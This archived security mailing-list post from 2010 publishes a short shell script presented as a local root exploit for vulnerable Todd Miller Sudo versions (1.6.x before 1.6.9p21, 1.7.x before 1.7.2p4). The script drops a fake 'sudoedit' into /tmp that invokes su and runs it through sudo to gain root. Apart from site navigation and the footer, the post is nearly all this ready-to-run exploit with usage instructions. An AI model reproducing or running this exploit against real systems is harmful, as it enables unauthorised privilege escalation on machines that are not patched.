Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  sudo protection bypass

  sudoedit local privilege escalation through PATH manipulation

  [USN-928-1] Sudo vulnerability

  [ MDVSA-2010:049 ] sudo

From:Kingcope Kingcope <kcope2_(at)_googlemail.com>
Date:02.03.2010
Subject:Todd Miller Sudo local root exploit discovered by Slouching

Just for the record.

---snip---
#!/bin/sh
# Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4
# local root exploit
# March 2010
# automated by kingcope
# Full Credits to Slouching
echo Tod Miller Sudo local root exploit
echo by Slouching
echo automated by kingcope
if [ $# != 1 ]
then
echo "usage: ./sudoxpl.sh <file you have permission to edit>"
exit
fi
cd /tmp
cat > sudoedit << _EOF
#!/bin/sh
echo ALEX-ALEX
su
/bin/su
/usr/bin/su
_EOF
chmod a+x ./sudoedit
sudo ./sudoedit $1
--snip---

cheers,
kingcope

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server